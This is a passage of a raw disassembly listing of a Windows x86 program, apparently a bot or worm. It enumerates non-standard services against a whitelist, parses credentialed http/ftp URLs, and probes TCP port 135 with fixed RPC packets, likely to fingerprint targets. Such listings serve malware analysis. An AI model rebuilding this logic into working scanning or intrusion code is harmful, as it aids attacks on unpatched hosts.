		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41ED90	proc near		; CODE XREF: sub_40198Dj
		jmp	sub_4011F9
sub_41ED90	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41EDB0	proc near		; CODE XREF: sub_401FB9j

var_518		= byte ptr -518h
var_514		= dword	ptr -514h
var_510		= dword	ptr -510h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_4F8		= byte ptr -4F8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4DC		= dword	ptr -4DCh
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4CC		= dword	ptr -4CCh
var_4C8		= dword	ptr -4C8h
var_4C4		= dword	ptr -4C4h
var_4C0		= dword	ptr -4C0h
var_4BC		= dword	ptr -4BCh
var_4B8		= dword	ptr -4B8h
var_4B4		= dword	ptr -4B4h
var_4B0		= dword	ptr -4B0h
var_4AC		= dword	ptr -4ACh
var_4A8		= dword	ptr -4A8h
var_4A4		= dword	ptr -4A4h
var_4A0		= dword	ptr -4A0h
var_49C		= dword	ptr -49Ch
var_498		= dword	ptr -498h
var_494		= dword	ptr -494h
var_490		= dword	ptr -490h
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= dword	ptr -45Ch
var_458		= dword	ptr -458h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_430		= byte ptr -430h
var_41C		= byte ptr -41Ch
var_408		= byte ptr -408h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_41EDB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 50Ch
		push	ebx
		push	ebp
		xor	ebx, ebx
		push	80000000h
		push	ebx
		push	ebx
		call	ds:dword_4B3758
		mov	ebp, eax
		cmp	ebp, ebx
		mov	[esp+520h+var_500], ebp
		jnz	short loc_41EDFF
		pop	ebp
		xor	al, al
		pop	ebx
		mov	ecx, [esp+518h+var_C]
		mov	large fs:0, ecx
		add	esp, 518h
		retn
; ---------------------------------------------------------------------------


loc_41EDFF:				; CODE XREF: sub_41EDB0+34j
		push	esi
		push	edi
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv"
		mov	[esp+528h+var_4E0], offset aBrowser ; "Browser"
		mov	[esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc"
		mov	[esp+528h+var_4D8], offset aDhcp ; "Dhcp"
		mov	[esp+528h+var_4D4], offset aDmserver ; "dmserver"
		mov	[esp+528h+var_4D0], offset aDnscache ; "Dnscache"
		mov	[esp+528h+var_4CC], offset aErsvc ; "ERSvc"
		mov	[esp+528h+var_4C8], offset aEventlog ; "Eventlog"
		mov	[esp+528h+var_4C4], offset aEventsystem	; "EventSystem"
		mov	[esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility"
		mov	[esp+528h+var_4BC], offset aHelpsvc ; "helpsvc"
		mov	[esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver"
		mov	[esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation"
		mov	[esp+528h+var_4B0], offset aLmhosts ; "LmHosts"
		mov	[esp+528h+var_4AC], offset aMdm	; "MDM"
		mov	[esp+528h+var_4A8], offset aMessenger ;	"Messenger"
		mov	[esp+528h+var_4A4], offset aNetman ; "Netman"
		mov	[esp+528h+var_4A0], offset aNla	; "Nla"
		mov	[esp+528h+var_49C], offset aPlugplay ; "PlugPlay"
		mov	[esp+528h+var_498], offset aPolicyagent	; "PolicyAgent"
		mov	[esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage"
		mov	[esp+528h+var_490], offset aRasman ; "RasMan"
		mov	[esp+528h+var_48C], offset aRpcss ; "RpcSs"
		mov	[esp+528h+var_488], offset aSamss ; "SamSs"
		mov	[esp+528h+var_484], offset aSchedule ; "Schedule"
		mov	[esp+528h+var_480], offset aSeclogon ; "seclogon"
		mov	[esp+528h+var_47C], offset aSens ; "SENS"
		mov	[esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection"
		mov	[esp+528h+var_474], offset aSpooler ; "Spooler"
		mov	[esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV"
		mov	[esp+528h+var_46C], offset aStisvc ; "stisvc"
		mov	[esp+528h+var_468], offset aTapisrv ; "TapiSrv"
		mov	[esp+528h+var_464], offset aTermservice	; "TermService"
		mov	[esp+528h+var_460], offset aTrkwks ; "TrkWks"
		mov	[esp+528h+var_45C], offset aUploadmgr ;	"uploadmgr"
		mov	[esp+528h+var_458], offset aUpnphost ; "upnphost"
		mov	[esp+528h+var_454], offset aW32time ; "W32Time"
		mov	[esp+528h+var_450], offset aWebclient ;	"WebClient"
		mov	[esp+528h+var_44C], offset aWinmgmt ; "winmgmt"
		mov	[esp+528h+var_448], offset aWzcsvc ; "WZCSVC"
		mov	[esp+528h+var_444], offset aWuauserv ; "wuauserv"
		mov	[esp+528h+var_440], offset aSrservice ;	"srservice"
		mov	[esp+528h+var_43C], offset aThemes ; "Themes"
		mov	[esp+528h+var_438], ebx
		mov	[esp+528h+var_510], ebx
		call	sub_4013CF
		lea	eax, [esp+528h+var_510]
		lea	ecx, [esp+528h+var_514]
		mov	esi, ds:dword_4B372C
		push	eax
		lea	edx, [esp+52Ch+var_518]
		push	ecx
		push	edx
		lea	eax, [esp+534h+var_41C]
		push	ebx
		push	eax
		push	1
		push	30h
		push	ebp
		mov	[esp+548h+var_4], ebx
		mov	[esp+548h+var_50C], ebx
		mov	[esp+548h+var_504], 80h
		call	esi
		mov	ecx, [esp+524h+var_514]
		push	ecx
		call	ds:dword_4B3AB0
		add	esp, 4
		mov	edi, eax
		lea	edx, [esp+524h+var_50C]
		lea	eax, [esp+524h+var_510]
		push	edx
		mov	edx, [esp+528h+var_514]
		lea	ecx, [esp+528h+var_514]
		push	eax
		push	ecx
		push	edx
		push	edi
		push	1
		push	30h
		push	ebp
		call	esi
		mov	eax, [esp+524h+var_510]
		mov	[esp+524h+var_504], ebx
		cmp	eax, ebx
		jbe	loc_41F15F
		mov	ebp, ds:dword_4B3770


loc_41F03B:				; CODE XREF: sub_41EDB0+3A5j
		mov	eax, offset aAudiosrv ;	"AudioSrv"
		test	eax, eax
		jz	short loc_41F067
		lea	esi, [esp+524h+var_4E0]


loc_41F048:				; CODE XREF: sub_41EDB0+2B5j
		mov	ecx, [edi]
		push	ecx
		push	eax
		call	ds:dword_4B3AFC
		add	esp, 8
		test	eax, eax
		jz	loc_41F143
		mov	eax, [esi+4]
		add	esi, 4
		cmp	eax, ebx
		jnz	short loc_41F048


loc_41F067:				; CODE XREF: sub_41EDB0+292j
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+524h+var_508]
		push	ecx
		push	20019h
		push	ebx
		lea	ecx, [esp+530h+var_4F8]
		call	sub_4015F5
		push	eax
		push	80000002h
		call	ebp
		cmp	eax, ebx
		jz	short loc_41F0B3
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_41F10A
; ---------------------------------------------------------------------------


loc_41F0B3:				; CODE XREF: sub_41EDB0+2EAj
		mov	eax, [esp+524h+var_508]
		lea	ecx, [esp+524h+var_500]
		lea	edx, [esp+524h+var_408]
		push	ecx
		push	edx
		push	ebx
		push	ebx
		push	offset aImagepath ; "ImagePath"
		push	eax
		call	ds:dword_4B3738
		cmp	eax, ebx
		jz	short loc_41F0ED
		mov	ecx, [edi]
		lea	edx, [esp+524h+var_4F8]
		push	ecx
		push	offset aS????_exe ; "[%s] [????.exe]"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_41F10A
; ---------------------------------------------------------------------------


loc_41F0ED:				; CODE XREF: sub_41EDB0+324j
		mov	ecx, [edi]
		lea	eax, [esp+524h+var_408]
		push	eax
		push	ecx
		lea	edx, [esp+52Ch+var_4F8]
		push	offset aSS	; "[%s]	[%s]"
		push	edx
		call	sub_40102D
		add	esp, 10h


loc_41F10A:				; CODE XREF: sub_41EDB0+301j
					; sub_41EDB0+33Bj
		lea	eax, [esp+524h+var_4F8]
		lea	ecx, [esp+524h+var_430]
		push	eax
		call	sub_40146F
		mov	ecx, [esp+524h+arg_4]
		push	eax
		mov	byte ptr [esp+528h], 1
		call	sub_4012E4
		lea	ecx, [esp+524h+var_430]
		mov	[esp+524h], bl
		call	sub_4011F9


loc_41F143:				; CODE XREF: sub_41EDB0+2A7j
		mov	eax, [esp+524h+var_504]
		mov	ecx, [esp+524h+var_510]
		inc	eax
		add	edi, 24h
		cmp	eax, ecx
		mov	[esp+524h+var_504], eax
		jb	loc_41F03B
		mov	ebp, [esp+524h+var_4FC]


loc_41F15F:				; CODE XREF: sub_41EDB0+27Fj
		push	ebp
		call	ds:dword_4B3760
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	ecx, [esp+528h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 518h
		retn
sub_41EDB0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41F2A0	proc near		; CODE XREF: sub_401578j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		push	esi
		push	0
		call	ds:dword_4B38C0
		push	eax
		call	ds:dword_4B38C4
		mov	eax, esi
		pop	esi
		retn
sub_41F2A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F2D0	proc near		; CODE XREF: sub_401942j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	[ebp+var_4], 0
		mov	[ebp+arg_4], eax
		femms
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	ebx, [ebp+var_4]
		cmp	ecx, 2
		js	short loc_41F309


loc_41F2F2:				; CODE XREF: sub_41F2D0+32j
		xor	eax, eax
		mov	ax, [edx]
		add	ebx, eax
		sub	ecx, 2
		add	edx, 2
		cmp	ecx, 1
		jg	short loc_41F2F2
		cmp	ecx, 0
		jz	short loc_41F31A


loc_41F309:				; CODE XREF: sub_41F2D0+20j
					; sub_41F2D0+48j
		xor	eax, eax
		mov	al, [edx]
		add	ebx, eax
		sub	ecx, 1
		add	edx, 1
		cmp	ecx, 0
		jg	short loc_41F309


loc_41F31A:				; CODE XREF: sub_41F2D0+37j
		mov	[ebp+var_4], ebx
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ebx, [ebp+var_4]
		and	ebx, 0FFFFh
		add	eax, ebx
		mov	ebx, eax
		shr	ebx, 10h
		add	eax, ebx
		mov	[ebp+var_4], eax
		femms
		mov	eax, [ebp+var_4]
		pop	ebx
		not	eax
		mov	esp, ebp
		pop	ebp
		retn
sub_41F2D0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41F370:				; CODE XREF: _294ADE7B:00401019j
		mov	eax, [esp+4]
		mov	ds:dword_4AFD14, eax
		mov	eax, offset dword_4AFD14
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41F390:				; CODE XREF: _294ADE7B:004016CCj
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10h]
		push	edi
		mov	edi, ds:dword_4B3A80
		push	esi
		call	edi
		mov	ebp, ds:dword_4B3A7C
		push	2
		push	0
		push	esi
		mov	ebx, eax
		call	ebp
		push	esi
		call	edi
		push	0
		push	ebx
		push	esi
		mov	edi, eax
		call	ebp
		add	esp, 20h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41F3E0	proc near		; CODE XREF: sub_401861j

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41F3E0
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	esi
		mov	esi, [esp+8Ch+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		jnz	short loc_41F40F
		xor	al, al
		jmp	loc_41F9E9
; ---------------------------------------------------------------------------


loc_41F40F:				; CODE XREF: sub_41F3E0+26j
		lea	ecx, [esp+90h+var_84]
		call	sub_4013CF
		push	esi
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], ebx
		call	sub_401564
		push	offset asc_43BB68 ; ":"
		lea	eax, [esp+94h+var_54]
		push	ebx
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_401622
		mov	esi, [esp+90h+arg_4]
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_401E65
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_4011F9
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012B7
		test	eax, eax
		jz	short loc_41F49F
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012B7
		test	eax, eax
		jz	short loc_41F49F
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		xor	al, al
		jmp	loc_41F9E9
; ---------------------------------------------------------------------------


loc_41F49F:				; CODE XREF: sub_41F3E0+92j
					; sub_41F3E0+A2j
		push	offset asc_43C2EC ; "/"
		lea	ecx, [esp+94h+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_401622
		push	40h
		mov	ecx, eax
		mov	byte ptr [esp+94h+var_4], 2
		call	sub_401BFE
		lea	ecx, [esp+90h+var_54]
		mov	edi, eax
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_4011F9
		cmp	edi, ebx
		push	offset asc_43C2EC ; "/"
		push	1
		jz	loc_41F7DC
		lea	edx, [esp+98h+var_24]
		lea	ecx, [esp+98h+var_84]
		push	edx
		call	sub_401622
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_401622
		push	offset asc_43BB68 ; ":"
		lea	edx, [esp+94h+var_54]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 4
		call	sub_401622
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 5
		call	sub_401E65
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], 4
		call	sub_4011F9
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 3
		call	sub_4011F9
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_4011F9
		push	offset byte_43FDC8
		mov	ecx, edi
		call	sub_4012B7
		test	eax, eax
		jnz	short loc_41F599
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		xor	al, al
		jmp	loc_41F9E9
; ---------------------------------------------------------------------------


loc_41F599:				; CODE XREF: sub_41F3E0+19Cj
		push	offset asc_43C2EC ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_401622
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 6
		call	sub_401622
		push	offset asc_43BB68 ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 7
		call	sub_401622
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 8
		call	sub_401726
		push	eax
		call	ds:dword_4B3AEC
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 7
		call	sub_4011F9
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 6
		call	sub_4011F9
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_4011F9
		cmp	[esi+54h], ebx
		jnz	short loc_41F665
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012B7
		test	eax, eax
		jnz	short loc_41F64E
		mov	dword ptr [esi+54h], 50h


loc_41F64E:				; CODE XREF: sub_41F3E0+265j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012B7
		test	eax, eax
		jnz	short loc_41F665
		mov	dword ptr [esi+54h], 15h


loc_41F665:				; CODE XREF: sub_41F3E0+255j
					; sub_41F3E0+27Cj
		push	offset asc_43C2EC ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_401622
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 9
		call	sub_401622
		push	offset asc_43BB68 ; ":"
		lea	edx, [esp+94h+var_24]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_401622
		lea	edi, [esi+2Ah]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401E65
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Ah
		call	sub_4011F9
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 9
		call	sub_4011F9
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_4011F9
		push	offset byte_43FDC8
		mov	ecx, edi
		call	sub_4012B7
		test	eax, eax
		jnz	short loc_41F71E
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		xor	al, al
		jmp	loc_41F9E9
; ---------------------------------------------------------------------------


loc_41F71E:				; CODE XREF: sub_41F3E0+321j
		push	offset asc_43C2EC ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_401622
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ch
		call	sub_401622
		push	offset asc_43BB68 ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Dh
		call	sub_401622
		lea	edi, [esi+3Fh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Eh
		call	sub_401E65
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Dh
		call	sub_4011F9
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 0Ch
		call	sub_4011F9
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_4011F9
		push	offset byte_43FDC8
		mov	ecx, edi
		call	sub_4012B7
		test	eax, eax
		jnz	loc_41F903
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		xor	al, al
		jmp	loc_41F9E9
; ---------------------------------------------------------------------------


loc_41F7DC:				; CODE XREF: sub_41F3E0+100j
		lea	eax, [esp+98h+var_3C]
		lea	ecx, [esp+98h+var_84]
		push	eax
		call	sub_401622
		push	offset asc_43BB68 ; ":"
		lea	ecx, [esp+94h+var_24]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Fh
		call	sub_401622
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 10h
		call	sub_401E65
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Fh
		call	sub_4011F9
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_4011F9
		push	offset byte_43FDC8
		mov	ecx, edi
		call	sub_4012B7
		test	eax, eax
		jnz	short loc_41F863
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		xor	al, al
		jmp	loc_41F9E9
; ---------------------------------------------------------------------------


loc_41F863:				; CODE XREF: sub_41F3E0+466j
		push	offset asc_43C2EC ; "/"
		lea	edx, [esp+94h+var_3C]
		push	1
		push	edx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_401622
		push	offset asc_43BB68 ; ":"
		lea	ecx, [esp+94h+var_24]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 11h
		call	sub_401622
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 12h
		call	sub_401726
		push	eax
		call	ds:dword_4B3AEC
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 11h
		call	sub_4011F9
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_4011F9
		cmp	[esi+54h], ebx
		jnz	short loc_41F903
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012B7
		test	eax, eax
		jnz	short loc_41F8EC
		mov	dword ptr [esi+54h], 50h


loc_41F8EC:				; CODE XREF: sub_41F3E0+503j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012B7
		test	eax, eax
		jnz	short loc_41F903
		mov	dword ptr [esi+54h], 15h


loc_41F903:				; CODE XREF: sub_41F3E0+3DBj
					; sub_41F3E0+4F3j ...
		push	offset asc_43C2EC ; "/"
		lea	ecx, [esp+94h+var_84]
		call	sub_40138E
		lea	edx, [esp+90h+var_6C]
		push	eax
		push	edx
		lea	ecx, [esp+98h+var_84]
		call	sub_401CF8
		push	offset asc_43C2EC ; "/"
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 13h
		call	sub_40138E
		push	eax
		lea	eax, [esp+94h+var_24]
		push	eax
		lea	ecx, [esp+98h+var_6C]
		call	sub_401CF8
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 14h
		call	sub_401EAB
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_4011F9
		push	offset asc_43C2EC ; "/"
		lea	ecx, [esp+94h+var_6C]
		call	sub_40138E
		lea	ecx, [esp+90h+var_24]
		push	eax
		push	ecx
		lea	ecx, [esp+98h+var_6C]
		call	sub_401CF8
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 15h
		call	sub_401EAB
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_4011F9
		add	esi, 58h
		push	offset asc_43C2EC ; "/"
		mov	ecx, esi
		call	sub_401564
		lea	edx, [esp+90h+var_6C]
		mov	ecx, esi
		push	edx
		call	sub_40162C
		lea	ecx, [esp+90h+var_6C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_4011F9
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	al, 1


loc_41F9E9:				; CODE XREF: sub_41F3E0+2Aj
					; sub_41F3E0+BAj ...
		mov	ecx, [esp+90h+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn
sub_41F3E0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 190h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FBA0	proc near		; CODE XREF: sub_401A0Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_4]
		push	ebx
		mov	ebx, [esp+4+arg_C]
		push	ebp
		sub	edx, ebx
		xor	eax, eax
		push	esi
		push	edi
		test	edx, edx
		jle	short loc_41FBCB


loc_41FBB4:				; CODE XREF: sub_41FBA0+29j
		mov	esi, [esp+10h+arg_0]
		mov	edi, [esp+10h+arg_8]
		add	esi, eax
		mov	ecx, ebx
		xor	ebp, ebp
		repe cmpsb
		jz	short loc_41FBD2
		inc	eax
		cmp	eax, edx
		jl	short loc_41FBB4


loc_41FBCB:				; CODE XREF: sub_41FBA0+12j
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FBD2:				; CODE XREF: sub_41FBA0+24j
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
sub_41FBA0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FBF0:				; CODE XREF: _294ADE7B:00401F23j
		mov	eax, 2010h
		call	sub_430390
		mov	eax, [esp+2018h]
		push	ebp
		push	esi
		dec	eax
		push	edi
		jz	short loc_41FC3D
		dec	eax
		jz	short loc_41FC17
		dec	eax
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_41FC17:				; CODE XREF: _294ADE7B:0041FC08j
		mov	eax, [esp+2020h]
		push	1388h
		push	eax
		call	sub_401EA1
		add	esp, 8
		neg	al
		sbb	eax, eax
		pop	edi
		pop	esi
		and	eax, 3
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_41FC3D:				; CODE XREF: _294ADE7B:0041FC05j
		push	6
		push	1
		push	2
		call	ds:dword_4B3CAC
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_41FD99
		cmp	esi, 0FFFFFFFFh
		jz	loc_41FD99
		xor	ecx, ecx
		push	87h
		mov	[esp+10h], ecx
		mov	word ptr [esp+10h], 2
		mov	[esp+14h], ecx
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		call	ds:dword_4B3CB0
		mov	edx, [esp+2020h]
		mov	[esp+0Eh], ax
		push	edx
		call	sub_4017C1
		add	esp, 4
		mov	[esp+10h], eax
		lea	eax, [esp+0Ch]
		push	10h
		push	eax
		push	esi
		call	ds:dword_4B3CB4
		cmp	eax, 0FFFFFFFFh
		jz	loc_41FD92
		mov	ebp, ds:dword_4B3C9C
		push	0
		push	48h
		push	offset dword_43BCAC
		push	esi
		call	ebp
		cmp	eax, 0FFFFFFFFh
		jz	loc_41FD92
		mov	edi, ds:dword_4B3C6C
		push	0
		lea	ecx, [esp+20h]
		push	2000h
		push	ecx
		push	esi
		call	edi
		cmp	eax, 0FFFFFFFFh
		jz	loc_41FD92
		cmp	byte ptr [esp+1Eh], 0Ch
		jnz	loc_41FD92
		push	0
		push	18h
		push	offset dword_43BD20
		push	esi
		call	ebp
		cmp	eax, 0FFFFFFFFh
		jz	loc_41FD92
		push	0
		lea	edx, [esp+20h]
		push	2000h
		push	edx
		push	esi
		call	edi
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41FD92
		cmp	byte ptr [esp+1Eh], 2
		jnz	short loc_41FD92
		push	10h
		push	offset dword_43BCF8
		lea	eax, [esp+24h]
		push	edi
		push	eax
		call	sub_401A0A
		add	esp, 10h
		test	al, al
		jz	short loc_41FD61
		xor	ecx, ecx
		cmp	edi, 12Ch
		setnl	cl
		inc	ecx
		push	esi
		mov	edi, ecx
		call	ds:dword_4B3CA8
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_41FD61:				; CODE XREF: _294ADE7B:0041FD3Ej
		push	10h
		push	offset dword_43BD0C
